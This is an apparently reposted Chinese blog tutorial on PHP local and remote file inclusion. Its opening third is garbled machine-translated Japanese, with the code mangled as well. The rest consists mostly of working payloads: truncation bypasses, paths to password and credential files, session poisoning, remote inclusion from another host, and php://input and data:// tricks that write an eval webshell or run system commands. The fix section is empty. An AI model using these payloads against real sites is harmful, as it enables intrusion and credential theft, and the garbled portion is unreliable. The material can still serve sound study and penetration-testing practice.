Webセキュリティの原則 - ファイルインクルージョンの脆弱性

序文

朝食後攻撃と世界タイトルの防衛にブラッシュアップを開始、すべての質問を含む単純なファイルは、私が要約ファイルには抜け穴が含まれている学ぶゼロから本を買うために思い付くしなければならなかったこれをしませんでした!

まず、ファイルには抜け穴が含まれています

ファイルインクルージョンの脆弱性

パラメータファイルには、機能を濾過または厳密に定義されており、それが意図しないファイルが含まれていてもよいように、ユーザパラメータは、制御することができるされていませんが含まれています。悪意のあるコードファイル、ファイルの関係なく、どのようなタイプの場合は、ファイル内の悪意のあるコードが解析され、実行されます。

ファイルインクルージョンの脆弱性が改ざんされるページにサーバーを引き起こすことをいとわない、サイトが馬にリンクして、サーバーがリモートコントロールで、バックドアやその他の危険をインストールすることです。

関数を含む一般的なファイル:

1.include()を含み、文書を設定します。警告(E_WARNING)エラーが発生した場合、基本的には、実行していきます。

2.include_onceは()ファイルを開発し、実行するスクリプトの実行中に含まれています。それはもう含まれません場合は、あまりにも含まれるように確認しますとの違いがあります。

3.require()を含み、指定されたファイルを評価します。エラーが発生したときE_COMPLE_ERRORエラーを生成するためにいくつかの時間を必要とし、スクリプトを停止します

4.require_once()とは、実質的に完全な必要と同じ区別が必要です。チェックインが含まれていた、そうであれば、再び含まれません。

脆弱性のサンプルコード:

<?PHP
     $ファイル名   = $ _GET [ 'ファイル名' ];
    含める$ファイル名);
?>

上記コードは、$ _GET [「ファイル名」]パラメータを直接含む()関数に、濾過厳密ではないが、攻撃者が操作を行う、追加のファイルをロードし、[「ファイル名」]の値を$ _GETを変更することができ、意図しない、したがって、脆弱性を含むファイルを作成します。

1.TXTコンテンツが表示されている1.TXT私たちは一緒に私たちの現在のディレクトリとそれ以降のファイルを読み込むことができます

第二に、脆弱性が含まれている無制限のローカルファイル

無制限のローカルファイルインクルージョンの脆弱性

特定の接頭コードファイルや.phpの、.htmlのファイル名の拡張子を含むように処方されていない無制限のローカルファイルインクルード脆弱性、攻撃者がファイルは、オペレーティング・システム内の他のファイルが含まれて読み取るために脆弱性を悪用する可能性がありますので、機密情報へのアクセスまたは実行コード内の他の文書。

一般的な機密情報パス

ウィンドウズ

C:\ boot.iniを//チェックシステムのバージョン

C:\ XX \ httpd.confのApacheの設定情報

C:\ WINDOWS \ system32に\ inetsrvに\てMetaBase.xml // IISの設定ファイル

C:\ WINDOWS \修理\ SAM //ストレージシステムが最初にインストールされたWindowsのパスワード

c:\ProgramFiles\mysql\my.ini // MySQL配置

C:\ PROGRAMFILES \ mysqlの\データ\ mysqlの\ user.MYD // MySQLのルート密码

C:\ WINDOWS \ php.iniを// PHPの設定情報

Linux / Unixの

/ etc / passwdファイルのアカウント情報

の/ etc /シャドウアカウントのパスワードファイル

Apacheの設定ファイルある/etc/httpd/conf/httpd.conf

MySQLの設定ファイル/etc/my.conf

Apache2のデフォルトのプロファイル/usr/local/app/apache2/conf/httpd.conf

/usr/local/app/apache2/conf/extra/httpd-vhost.confのconfigureの仮想Webサイト

/usr/local/app/php5/lib/php.ini PHPの設定

無制限のローカルファイルインクルージョンの脆弱性の例:

<?PHP
     $ファイル名   = $ _GET [ 'ファイル名' ];
    含める$ファイル名);
?>

MySQLの設定情報を読み込むエクスプロイト

ペイロード:

http://127.0.0.1/test.php?filename=C:\phpStudy\PHPTutorial\MySQL\my.ini

無制限のローカル使用のコードを実行する脆弱性が含まれます

第三には、抜け穴が含まれている制限ローカルファイルがあります

要約:

コード内で制限され、ローカルファイルインクルージョンの脆弱性は、ファイルやインクルードする特定のプレフィックスの開発を指し.PHP.htmlのファイル名の拡張子を、攻撃者は、オペレーティング・システムを含むファイルを読むために脆弱性を悪用するために、接頭辞または拡張子フィルタバイパスする必要があります他の文書、機密情報へのアクセス。一般的な制限は、フィルタの主な方法バイパスにローカルファイルを含めるそこ%00切り捨てファイルが含まれているパスの長さの切り捨てを含むファイルを、ドットTRUNCATE 3つすべてを含むファイル

テストコード

<?php
    $filename  = $_GET['filename'];
    include($filename,".html");
?>

1.%00截断

%00会被认为是结束符,后面的数据会被直接忽略,导致扩展名截断。攻击者可以利用这个漏洞绕过扩展名过滤

漏洞利用条件:

(1)    magic_quotes_gpc=off

(2)    PHP<5.3.4

测试结果;

Payload: http://127.0.0.1/test.php?filename=xiaohua.txt%00

通过%00截断了后面的.html扩展名过滤,成功读取了xiaohua.txt文件的内容

 

2.路径长度截断文件包含

操作系统存在最大路径长度的限制。可以输入超过最大路径长度的目录,这样系统就会将后面的路径丢弃,导致扩展名截断

漏洞利用条件

Windows下目录的最大路径256B

Linux下目录的最大路径长度为4096B

测试payload:

http://127.0.0.1/test.php?filename=xiaohua.txt/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

执行完成后成功截断后面的.html扩展名,包含了xiaohua.txt文件

3.点号阶段文件包含

点号截断适用于Windows系统,当点号的长度大于256B时,就可以造成扩展名截断。

测试payload:

http://127.0.0.1/test.php?filename=xiaohua.txt....................................................................................................................................................................................................................................................................

成功使用.号截断后面的.html扩展名,包含了我们想要的文件。

四、Session文件包含

定义:

当可以获取Session文件的路径并且Session文件的内容可控时,就可以通过包含Session内容可控。

利用条件:

1.     Session的存储位置可以获取

2.     Session内容可控 

(1)    通过phpinfo的信息获取session的存储位置

Phpinfo中的session.save_path保存的是Session的存储位置。通过phpinfo的信息获取session.save_path/var/lib/php

 

<?php
     session_start();
    $ctfs  = $_GET['ctfs'];
     $_SESSION['username']=$ctfs;
?>

此代码的$ctfs变量的值可以通过GETctfs参数传入。PHP代码将会获得GETctfs变量的值存入Session中。攻击者可以利用GETctfs参数将而已代码写入Session文件中,然后再利用文件包含漏洞包含此Session文件,向系统中传入恶意代

码。

漏洞利用payload:

http://127.0.0.1/test.php?ctfs=<?php phpinfo(); ?>  php语句写入session

http://127.0.0.1/test.php?filename=C:\phpStudy\PHPTutorial\tmp\tmp\sess_c3b4faa1f3b28c602c862bdf366fd92c 包含session文件

session文件名(真正的文件名默认都有个前缀就是sess_)

五、远程文件包含

一、无限制远程文件包含

无限制远程文件包含是指文件的位置并不是本地服务器,而是通过URL形式包含其他服务器上的文件,执行文件中的恶意代码。

 

漏洞利用条件:

(1)     allow_url_fopen=on

(2)     allow_url_include=on

漏洞代码

<?php
     $filename  = $_GET['filename'];
       include($filename);
?>

Payload

http://127.0.0.1/test.php?filename=http://192.168.1.110/xiaohua.txt

包含在xiaohua.txt中的PHP代码通过远程文件包含被成功当成PHP代码解析。

 

二、有限制远程文件包含

有限制远程文件包含是指当代吗中存在特定的前缀或者.php.html等扩展名过滤时,攻击者仅需要绕过前缀或者扩展名过滤,才能执行远程URL中恶意代码。

漏洞代码:

<?php
     $filename  = $_GET['filename'];
     include($filename.”.html”);
?>

1.     问号绕过

http://127.0.0.1/test.php?filename=http://192.168.1.110/xiaohua.txt?

2.     #号绕过

http://127.0.0.1/test.php?filename=http://192.168.1.110/xiaohua.txt%23(#号要编码)

3.     空格绕过

http://127.0.0.1/test.php?filename=http://192.168.1.110/xiaohua.txt%20(%20是空格的url编码)

 

FUZZ可以大量检测

六、PHP伪协议

PHP带了很多内置URL风格的封装协议,可用于fopencopyfile_existsfilesize等文件系统函数。除了这些内置封装协议,还能通过stream_wrapper_register注册自定义的封装协议。这些协议都被称为伪协议。

File:// ——访问本地文件系统

http:// ——访问HTTP(s)网址

ftp://  ——访问FTP(s)URLs

php://     访问各个输入/输出流(I/o streams)

zlib://     压缩流

data://    读取数据(RFC2397)

glob://    查找匹配的文件路径模式

phar://    PHP归档

ssh2://    Secure Sheel2

rar://      RAR

ogg://     音频流

expect:// 处理交互式的流

 

php://伪协议

php://伪协议是PHP提供的一些输入输出流访问功能,允许访问PHP的输入输出流,标准输入输出和错误描述符,内存中、磁盘备份的临时文件流,以及可以操作其他读取和写入文件资源的过滤器。

1.     php://filter

php://filter 是元封装器,设计用于数据流打开时的筛选过滤应用,对本地磁盘文件进行读写。

漏洞利用条件:

利用php:filter读本地磁盘文件时不需要开启allow_url_fopenallow_url_include

用法:

(1):filename=php://filter/read=convert.base64-encode/resource=xx.php
(2):filename=php://filter/convert.base64-encode/resource=xxx.php

参数:

Resource=<要过滤的数据流> 必需

read=<读链的筛选列表>     可选

write=<写链的筛选器列表> 可选

       漏洞代码:

 <?php
     $filename  = $_GET['filename'];
       include($filename);
       ?>

       Pyload:

       http://127.0.0.1/test.php?filename=php://filter/read=convert.base64-encode/resource=test.php

   利用php://filter获取了test.php文件的Base64编码

     

2.     php://input

php://input可以访问请求的原始数据的只读流,即可以直接读取POST上没有经过解析的原始数据,但是使用enctype=”multipart/form-data”的时候php://input是无效的。

(1):读取POST数据

   利用条件:

   示例代码:

<?php
   echo file_get_contents("php://input")
?>

上面代码输出file_get_contents函数获取的php://input数据。测试传入POST数据 字符串xiaohua最终输出该字符串 。php://input可以获取POST传入的树

 

 

 

2)写入木马

        利用环境:

        需要开启allow_url_include=on

        漏洞代码:

<?php
  $filename=$_GET['filename'];
  include($filename);
        ?>

Payload:

URL: http://192.168.1.110/test.php?filename=php://input
POST:<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[xiaohua])>')?>

通过php://input执行后成功在网站根目录创建了shell.php

 

 

 

 

       (3)    执行命令

  根写入木马漏洞代码操作基本类似知识post部分需要改

  Post:<?php system(‘whoami’);?>

  url: http://192.168.1.110/test.php?filename=php://input

       

 

 

 

3.     file://协议

file://伪协议可以访问本地文件系统,读取文件的内容

示例代码:

<?php
  $filename=$_GET['filename'];
  include($filename);
?>

Payload

http://192.168.1.110/test.php?filename=file://C:\phpStudy\PHPTutorial\WWW\xiaohua.txt

 

 

 

4.     data://伪协议

php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码

利用环境:

 allow_url_include=on

 allow_url_fopen=on 

   使用方法:

       data://text/plain;base64,xxxx(base64编码后的数据)

 

    代码示例

<?php
  $filename=$_GET['filename'];
  include($filename);
?>

       <?php system("dir")?>进行base64编码

       PD9waHAgc3lzdGVtKCJkaXIiKT8+ 最后有个+号进行url编码+=%2b

       最终payload:

http://192.168.1.110/test.php?filename=data://text/plain;base64,PD9waHAgc3lzdGVtKCJkaXIiKT8%2b     

 

 

5.     phar://伪协议

phar://是用来进行解压的伪协议,phar://参数中的文件不管是什么扩展名,都会被当做压缩包

利用环境

PHP>5.3.0

Allow_url_include=on

Allow_url_fopen=on

示例代码:

<?php
  $filename=$_GET['filename'];
  include($filename);
?>

用法:

?file=phar://压缩包/内部文件->phar://xxx.png/shell.php

压缩包要用zip://伪协议压缩,而不能用rar://伪协议

Payload192.168.1.110/test.php?filename=phar://shell.png/shell.php

6.     zip://伪协议

zip://伪协议和phar://伪协议在原理上类似,用法不一样

利用环境

PHP>5.3.0

Allow_url_include=on

Allow_url_fopen=on

示例代码:

<?php
  $filename=$_GET['filename'];
  include($filename);
?>

用法:

?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]

Eg:zip://xxx.png#shell.php

Payload: 192.168.1.110/test.php?filename=zip//shell.png:shell.php

7.     expect://伪协议

expect://伪协议主要用来执行系统命令,但是需要安装扩展

用法

 

?file=expect://ls

文件包含漏洞修复

参考学习:<<web安全原理分析与实践>>

有限制本地文件包含漏洞

おすすめ

転載: www.cnblogs.com/xhds/p/12216170.html